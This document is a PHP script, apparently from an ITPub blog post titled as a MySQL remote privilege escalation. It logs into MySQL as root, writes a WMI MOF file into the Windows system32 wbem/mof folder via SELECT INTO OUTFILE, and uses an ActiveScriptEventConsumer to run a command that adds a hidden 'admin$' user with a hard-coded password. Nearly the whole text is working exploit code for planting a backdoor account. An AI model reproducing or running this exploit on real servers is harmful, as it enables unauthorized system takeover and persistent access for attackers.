$mysql_server_name='localhost';

$mysql_username='root';

$mysql_password='';

$mysql_database='mysql';

$conn=mysql_connect($mysql_server_name,$mysql_username,$mysql_password,$mysql_database);

$cmdshell="net user admin$ qwe!@#123qwe /add";

$payload = "#pragma namespace("\\\\.\\root\\subscription")

instance of __EventFilter as $EventFilter

{

EventNamespace = "Root\\Cimv2";

Name = "filtP2";

Query = "Select * From __InstanceModificationEvent "

"Where TargetInstance Isa \"Win32_LocalTime\" "

"And TargetInstance.Second = 5";

QueryLanguage = "WQL";

};

instance of ActiveScriptEventConsumer as $Consumer

{

Name = "consPCSV2";

ScriptingEngine = "JScript";

ScriptText =

"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"$cmdshell\")";

};

instance of __FilterToConsumerBinding

{

Consumer = $Consumer;

Filter = $EventFilter;

};";

mysql_select_db($mysql_database,$conn);

$sql="select '$payload' into outfile 'c:/windows/system32/wbem/mof/nullevt.mof';";

$result=mysql_query($sql);

mysql_close($conn);

?>

ITPub博客

MySQL远程提权php版